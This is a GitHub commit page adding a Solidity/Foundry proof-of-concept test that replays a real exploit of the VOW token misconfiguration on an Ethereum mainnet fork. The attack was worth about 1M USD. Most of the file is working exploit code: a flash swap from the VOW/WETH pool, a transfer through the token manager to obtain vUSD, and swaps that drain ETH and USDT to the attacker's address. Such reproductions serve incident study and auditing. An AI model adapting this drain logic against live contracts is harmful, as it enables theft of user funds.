-
Notifications
You must be signed in to change notification settings - Fork 1.2k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
feat: Add POC for VOW token misconfig
- Loading branch information
Showing
2 changed files
with
139 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,119 @@ | ||
// SPDX-License-Identifier: UNLICENSED | ||
pragma solidity ^0.8.15; | ||
|
||
import "../basetest.sol"; | ||
import "../interface.sol"; | ||
import "forge-std/Test.sol"; | ||
|
||
// @KeyInfo - Total Lost : ~ 1M USD | ||
// Attacker : https://etherscan.io/address/0x48de6bf9e301946b0a32b053804c61dc5f00c0c3 | ||
// Attack Contract : https://etherscan.io/address/0xb7f221e373e3f44409f91c233477ec2859261758 | ||
// Vulnerable Contract : https://etherscan.io/address/0x1bbf25e71ec48b84d773809b4ba55b6f4be946fb | ||
// Attack Tx : https://etherscan.io/tx/0x758efef41e60c0f218682e2fa027c54d8b67029d193dd7277d6a881a24b9a561 | ||
|
||
// @Info | ||
// Vulnerable Contract Code : https://etherscan.io/address/0x1bbf25e71ec48b84d773809b4ba55b6f4be946fb#code | ||
|
||
// @Analysis | ||
// Post-mortem : | ||
// Twitter Guy : | ||
// Hacking God : | ||
pragma solidity ^0.8.0; | ||
|
||
contract VOW is BaseTestWithBalanceLog { | ||
uint256 blocknumToForkFrom = 20_519_309 - 1; | ||
|
||
address private constant VOW_WETH_Pair = 0x7FdEB46b3a0916630f36E886D675602b1007Fcbb; | ||
address private constant vUSD_VOW_Pair = 0x97BE09f2523B39B835Da9EA3857CfA1D3C660cBb; | ||
address private constant VOW_USDT_Pair = 0x1E49768714E438E789047f48FD386686a5707db2; | ||
|
||
address private constant vscTokenManager = 0x184497031808F2b6A2126886C712CC41f146E5dC; | ||
address private constant vow = 0x1BBf25e71EC48B84d773809B4bA55B6F4bE946Fb; | ||
address private constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; | ||
address private constant vUSD = 0x0fc6C0465C9739d4a42dAca22eB3b2CB0Eb9937A; | ||
address private constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7; | ||
|
||
address private constant attacker = 0x48de6bF9e301946b0a32b053804c61DC5f00c0c3; | ||
|
||
function setUp() public { | ||
vm.createSelectFork("mainnet", blocknumToForkFrom); | ||
|
||
vm.startPrank(attacker); | ||
IERC20(vow).approve(address(address(this)), type(uint256).max); | ||
IERC20(vUSD).approve(address(address(this)), type(uint256).max); | ||
vm.stopPrank(); | ||
} | ||
|
||
function testExploit() public balanceLog { | ||
//implement exploit code here | ||
emit log_named_decimal_uint( | ||
"Before exploit VOW balance of attacker:", IERC20(vow).balanceOf(attacker), IERC20(vow).decimals() | ||
); | ||
emit log_named_decimal_uint( | ||
"Before exploit USDT balance of attacker:", IERC20(usdt).balanceOf(attacker), IERC20(usdt).decimals() | ||
); | ||
emit log_named_decimal_uint("Before exploit ETH balance of attacker:", attacker.balance, 18); | ||
|
||
uint256 vowBalance = IERC20(vow).balanceOf(VOW_WETH_Pair); | ||
Uni_Pair_V2(VOW_WETH_Pair).swap(vowBalance - 1, 0, address(this), hex"00"); | ||
|
||
vowBalance = IERC20(vow).balanceOf(address(this)); | ||
IERC20(vow).transfer(attacker, vowBalance / 10); | ||
(uint112 reserve0, uint112 reserve1,) = Uni_Pair_V2(VOW_WETH_Pair).getReserves(); | ||
vowBalance = IERC20(vow).balanceOf(address(this)); | ||
IERC20(vow).transfer(VOW_WETH_Pair, vowBalance / 2); | ||
|
||
uint256 amount0In = IERC20(vow).balanceOf(VOW_WETH_Pair) - reserve0; | ||
uint256 amount1Out = getAmount1Out(reserve0, reserve1, amount0In); | ||
Uni_Pair_V2(VOW_WETH_Pair).swap(0, amount1Out, address(this), hex""); | ||
IWETH(payable(weth)).withdraw(amount1Out); | ||
(bool success,) = attacker.call{value: amount1Out}(""); | ||
require(success, "Fail to send eth"); | ||
|
||
(reserve0, reserve1,) = Uni_Pair_V2(VOW_USDT_Pair).getReserves(); | ||
IERC20(vow).transfer(VOW_USDT_Pair, IERC20(vow).balanceOf(address(this))); | ||
amount0In = IERC20(vow).balanceOf(VOW_USDT_Pair) - reserve0; | ||
amount1Out = getAmount1Out(reserve0, reserve1, amount0In); | ||
Uni_Pair_V2(VOW_USDT_Pair).swap(0, amount1Out, address(this), hex""); | ||
(success,) = usdt.call( | ||
abi.encodeWithSignature("transfer(address,uint256)", attacker, IERC20(usdt).balanceOf(address(this))) | ||
); | ||
require(success, "Fail to transfer USDT"); | ||
|
||
emit log_named_decimal_uint( | ||
"After exploit: VOW balance of attacker:", IERC20(vow).balanceOf(attacker), IERC20(vow).decimals() | ||
); | ||
emit log_named_decimal_uint( | ||
"After exploit: USDT balance of attacker:", IERC20(usdt).balanceOf(attacker), IERC20(usdt).decimals() | ||
); | ||
emit log_named_decimal_uint("After exploit: ETH balance of attacker:", attacker.balance, 18); | ||
} | ||
|
||
function uniswapV2Call(address sender, uint256 amount0, uint256, bytes calldata) external { | ||
require(msg.sender == VOW_WETH_Pair, "not from pool"); | ||
require(sender == address(this), "not from this contract"); | ||
|
||
IERC20(vow).transfer(attacker, amount0); | ||
|
||
IERC20(vow).transferFrom(attacker, vscTokenManager, amount0); | ||
|
||
uint256 vUSDBalance = IERC20(vUSD).balanceOf(attacker); | ||
IERC20(vUSD).transferFrom(attacker, address(this), vUSDBalance); | ||
(uint112 reserve0, uint112 reserve1,) = Uni_Pair_V2(vUSD_VOW_Pair).getReserves(); | ||
IERC20(vUSD).transfer(vUSD_VOW_Pair, vUSDBalance); | ||
|
||
uint256 amount0In = IERC20(vUSD).balanceOf(vUSD_VOW_Pair) - reserve0; | ||
uint256 amount1Out = getAmount1Out(reserve0, reserve1, amount0In); | ||
Uni_Pair_V2(vUSD_VOW_Pair).swap(0, amount1Out, address(this), hex""); | ||
|
||
uint256 fee = amount0 * 3 / 997 + 1000; | ||
uint256 amountToPay = amount0 + fee; | ||
IERC20(vow).transfer(VOW_WETH_Pair, amountToPay); | ||
} | ||
|
||
function getAmount1Out(uint112 reserve0, uint112 reserve1, uint256 amount0In) private pure returns (uint256) { | ||
return reserve1 * 997 * amount0In / (1000 * reserve0 + 997 * amount0In); | ||
} | ||
|
||
receive() external payable {} | ||
} |